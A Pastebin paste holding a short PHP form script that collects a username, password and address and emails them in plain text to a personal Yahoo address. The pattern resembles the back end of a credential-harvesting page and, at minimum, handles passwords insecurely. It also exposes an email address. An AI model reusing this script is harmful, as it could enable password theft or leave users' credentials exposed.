Advertisement
Guest User

Untitled

a guest
Jul 9th, 2017
552
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.92 KB | None | 0 0
  1. <?php
  2.  
  3. if(isset($_POST['submit']))
  4. {
  5.        $to = "hawkins.haroon@yahoo.com";
  6.        $subject = "Form Submittion";
  7.        $headers = "From: noreply@mywebsite.com";
  8.        $body = "Hello,\n\There has been a new submission on the form on your website, below are the user's details:\n\nUsername: $_POST[username]\nAddress: $_POST[address]\nPassword: $_POST[password]\n\nSincerely\nAuto-Message Daemon";
  9.        
  10.  
  11.             if(mail($to,$subject,$body,$headers))
  12.             {
  13.                 echo "Message has been sent to the site admin!";
  14.             }
  15.             else
  16.             {
  17.                 echo "Error while mailing!";
  18.             }
  19. }
  20. else
  21. {
  22. echo "<form method='post'>";
  23. echo "Username: <input type='text' name='username' id='username'><br />";
  24. echo "Password: <input type='password' name='password' id='password'><br />";
  25. echo "Address: <input type='text' name='address' id='address'><br />";
  26. echo "<input type='submit' id='submit' name='submit' value='Send Email'>";
  27. echo "</form>";
  28. }
  29.  
  30.  
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement